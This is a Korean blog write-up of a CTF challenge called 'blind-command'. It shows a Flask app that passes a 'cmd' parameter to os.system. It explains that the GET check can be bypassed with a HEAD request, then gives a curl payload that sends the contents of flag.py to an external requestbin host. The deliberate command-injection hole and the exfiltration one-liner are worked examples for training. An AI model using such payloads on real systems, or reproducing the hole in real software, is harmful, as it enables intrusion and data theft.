blind-command
Vulnerability
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
문제의 소스코드는 간단하다. cmd파라미터를 받아서 시스템 명령어를 실행시키는데 method가 "GET"이면 공백을 출력한다. 하지만 HEAD라는 method를 통해서 GET이랑 똑같이 파라미터를 보낼 수 있다.
하지만 HEAD method는 응답 값에 데이터가 포함되지 않아서 응답을 받을 수 있게 requestbin이든지 nc를 사용해서 응답을 받아야 한다.
Exploit
사실 응답만 받을 수 있으면 풀 수 있는 문제이다. requestbin을 이용하여 GET으로 받지 말고 curl -d 옵션을 사용해서 body부분으로 데이터를 받으면 된다.
나는 nc를 사용해서 데이터를 받았다. 여기에서는 풀이를 쉽게 하기위해 requestbin을 사용하겠다.
method를 HEAD로 변경해준 뒤 cmd 파라미터를 아래와 같이 넣어준다. TIP이지만 Burp에서 문자열을 드래그한 뒤 CTRL+U를 해주면 자동으로 URL encode 해준다.
curl+https%3a//ynhqtbe.request.dreamhack.games+-d+"$(cat+flag.py)"
여기서 주의해야할 것이 $()를 사용할 때 더블 쿼터로 묶어줘야 결과 값이 제대로 나온다. 공백과 new line이 있으면 웹에서 보내질 때 잘려서 결과 값이 출력된다.
❗ 저작권
'CTF > Web' 카테고리의 다른 글
[GON CTF] ColorfulMemo (0) | 2022.08.03 |
---|---|
[LINE CTF] double check (0) | 2022.08.02 |
[Wargame.kr] strcmp (0) | 2022.07.25 |
[Wargame.kr] jff3_magic (0) | 2022.07.25 |
[Wargame.kr] md5 password (0) | 2022.07.25 |